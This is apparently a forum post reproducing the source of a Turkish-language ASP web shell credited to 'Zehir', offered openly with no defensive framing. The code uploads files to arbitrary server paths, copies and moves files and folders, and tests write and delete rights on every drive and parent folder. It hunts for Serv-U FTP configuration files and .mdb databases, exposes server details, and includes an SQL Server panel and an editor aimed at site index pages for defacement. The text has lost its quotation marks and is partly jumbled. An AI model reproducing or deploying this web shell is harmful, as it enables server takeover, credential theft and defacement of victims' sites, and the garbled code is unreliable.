System Info | System Test | Sites Test | Folder - TopicsExpress



          

System Info | System Test | Sites Test | Folder Action | SQL Server | POWERED BY function sistemBilgisi(yol){ NewWindow(yol,,600,240,no); } function SitelerTestte(yol){ NewWindow(yol,,530,420,no); } function klasorIslemleri(yol){ NewWindow(yol,,400,280,no); } function sqlServer(yol){ NewWindow(yol,,300,50,no); } function poweredby(yol){ NewWindow(yol,,300,50,no); } function sistemTest(yol){ NewWindow(yol,,400,300,no); } = llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, clsUpload.asp, Object does not exist within the ordinal reference.) Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class #################################### Session(n1) = byZ Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject(ADODB.Stream) lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) if err0 then response.Write &err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, .) = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, .) + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, \) = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, \) + 1) End If If Not InStrRev(pstrPath, \) = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, \) - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject(ADODB.Recordset) Call lobjRs.Fields.Append(BinaryData, adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields(BinaryData).AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields(BinaryData).GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject(ADODB.Recordset) Call lobjRs.Fields.Append(BinaryData, adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields(BinaryData).AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields(BinaryData).Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class Session(n2) = ehir #################################### function addslash(path) if right(path,1)=\ then addslash=path else addslash=path & \ end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields(folder).Value max=objUpload.Fields(max).Value for i=1 to max name=objUpload.Fields(file & i).FileName size=objUpload.Fields(file & i).Length if (name) and (size>0) then gMsg=gMsg & & vbNewLine & - & name & ( & FormatNumber(size,0) & bytes): path=addslash(targetPath) & name objUpload.Fields(file & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & uploaded else gMsg = gMsg & failed! end if next response.Write gMsg set objUpload=nothing end sub if status=-4 then Upload() hataKontrol popup=false end if //////////////////////////////// sub hataKontrol if err0 then Response.Write Hata : &err.Description& end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&\ If cur = \\ Then cur = parent = If InStrRev(cur,\) > 0 Then parent = Left(cur, InStrRev(cur, \, Len(cur)-1)) End If Else cur = End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = Í if lcase(ara_)=mdb then Response.Write downStr&û * &f1.path& [&f1.size&]& else Response.Write downStr&û! - &f1.path& [&f1.size&]& end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write response.Write KonumSonuç servu_Test WriteTestOnDriver WriteTestOnLocalPath LocalPathParentFolder LocalPathPParentFolder response.Write end sub sub servu_Test dosya_ = Array(Program Files\Serv-u\Serv-u.ini, Program Files\Serv-u\Serv-u daemon.ini, Serv-u\Serv-u.ini, Serv-u\Serv-u daemon.ini) for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then for each d_ in dosya_ d_ = drive_.DriveLetter&:\&d_ if objFSO.FileExists(d_) then response.Write Serv-U ini file : &d_& end if next end if next end sub function yaziyomu(yol) on error goto 0:on error resume next dim sonuc__ Set MyFile = objFSO.CreateTextFile(yol & \test.zehir, True) MyFile.write byzehir set MyFile = Nothing if err0 then sonuc__=Yazma Hakkı Yok! else sonuc__=Yazma Hakkı Var! on error goto 0: on error resume next objFSO.DeleteFile yol & \test.zehir,true if err0 then sonuc__=sonuc__&Silme Hakkı Yok! else sonuc__=sonuc__&Silme Hakkı Var! end if end if yaziyomu = sonuc__ end function function yaziyomu2(yol) on error goto 0:on error resume next Set MyFile = objFSO.CreateTextFile(yol & \test.zehir, True) MyFile.write byzehir set MyFile = Nothing if err0 then yaziyomu2 = false else objFSO.DeleteFile yol & \test.zehir yaziyomu2 = true end if end function sub WriteTestOnDriver for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then if not yaziyomu2(drive_.DriveLetter&:\) then Response.Write &drive_.DriveLetter&:\yazma yetkisi yok! : [&err.Description&] else Response.Write &drive_.DriveLetter&:\yazma yetkisi var! end if end if next end sub sub WriteTestOnLocalPath on error goto 0 on error resume next if not yaziyomu2(request.servervariables(APPL_PHYSICAL_PATH)) then Response.Write Local Path yazma yetkisi yok! : [&err.Description&] else Response.Write Local Path yazma yetkisi var! end if end sub sub LocalPathParentFolder on error goto 0 on error resume next hed_ = request.servervariables(APPL_PHYSICAL_PATH) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,\)) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then Response.Write Local Path Parent FolderHata Oluştu : [&err.Description&] else Response.Write Local Path Parent FolderFolder : &FormatNumber(int_fol,0)&File : &FormatNumber(int_fil,0)& end if end sub sub LocalPathPParentFolder on error goto 0 on error resume next hed_ = request.servervariables(APPL_PHYSICAL_PATH) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) hed_ = left(hed_,InStrRev(hed_,\)) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,\)) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then if err=451 then Response.Write Local Path P.Parent FolderData Üst Klasor Yok :) else Response.Write Local Path P.Parent FolderHata Oluştu : [&err.Description&] end if else Response.Write Local Path P.Parent FolderFolder : &FormatNumber(int_fol,0)&File : &FormatNumber(int_fil,0)& end if end sub SELECT CASE status CASE 13 Sistem Bilgisi Response.Write : Sistem Bilgileri : Response.Write Local Adres & request.servervariables(REMOTE_ADDR) & Response.Write User Agent & request.servervariables(HTTP_USER_AGENT) & Response.Write Server & request.servervariables(SERVER_NAME) & Response.Write IP & request.servervariables(LOCAL_ADDR) & Response.Write HTTPD & request.servervariables(SERVER_SOFTWARE) & Response.Write Port & request.servervariables(SERVER_PORT) & Response.Write Yol & request.servervariables(APPL_PHYSICAL_PATH) & Response.Write Log Root & request.servervariables(APPL_MD_PATH) & Response.Write HTTPS & request.servervariables(HTTPS) & Response.Write popup = false CASE 14 Upload and Search aramaUpload popup = false hataKontrol CASE 15 Ms. SQL Server Response.Write Response.Write SQL Server için connection string giriniz Response.Write Response.Write response.Write Response.Write response.Write popup = false hataKontrol CASE 16 file Copy window Response.Write Response.Write Kop. Yer : Response.Write Response.Write response.Write Response.Write response.Write Kopyala response.Write Tasi response.Write response.Write popup = false hataKontrol CASE 17 file Copy isl = if islem=kopyala then objFSO.CopyFile path,cf isl=kopyalandı.. elseif islem=tasi then objFSO.MoveFile path,cf isl=taşındı.. end if response.Write Dosya &isl response.Write Kaynak : &path&Hedef : &cf response.Write popup = false hataKontrol CASE 18 folder Copy window Response.Write Response.Write Kop. Yer : Response.Write Response.Write response.Write Response.Write response.Write Kopyala response.Write Tasi response.Write response.Write popup = false hataKontrol CASE 19 folder Copy isl = if islem=kopyala then objFSO.CopyFolder path,cf isl=kopyalandı.. elseif islem=tasi then objFSO.MoveFolder path,cf isl=taşındı.. end if response.Write Klasor &isl response.Write Kaynak : &path&Hedef : &cf response.Write popup = false hataKontrol CASE 33 Powered By response.Write Powered by Zehir response.Write [email protected]üllü nefsun zaifetun mevt popup = false hataKontrol CASE 40 Sistem Test sistemTest popup=false CASE 50 Siteleri Test Edelim :D %> Güvenlik Testi byZehir Path Sub Folder File Name index.htm default.htm index.asp default.asp Kes Kopyala Yapıştır Bold Italic UnderLine JustifyLeft JustifyCenter JustifyRight AddLink AddImage -- Renk -- Siyah Beyaz Mavi Kırmızı Yeşil Sarı Turuncu Kahverengi Pembe Açık Mavi Açık Yeşil -- Renk -- Siyah Beyaz Mavi Kırmızı Yeşil Sarı Turuncu Kahverengi Pembe Açık Mavi Açık Yeşil -- Boyut -- 1 2 3 4 5 6 frames.byZehir.document.designMode = On; function bgc(option){ frames.byZehir.document.body.bgColor=option; } function FormatText(command, option){ frames.byZehir.focus(); frames.byZehir.document.execCommand(command, false, option); frames.byZehir.focus(); } function AddImage(){ imagePath = prompt(Eklemek istediğiniz resmin web adresini yazın, ); if ((imagePath != null) && (imagePath != )){ frames.byZehir.focus(); frames.byZehir.document.execCommand(InsertImage, false, imagePath); } frames.byZehir.focus(); } var dosyaPath = // DRIVE ISLEMLERI function driveGo(drive_){ location = dosyaPath+?status=1&path=+drive_+&Time=+Date(); }
Posted on: Tue, 16 Sep 2014 15:59:01 +0000

Trending Topics



Recently Viewed Topics




© 2015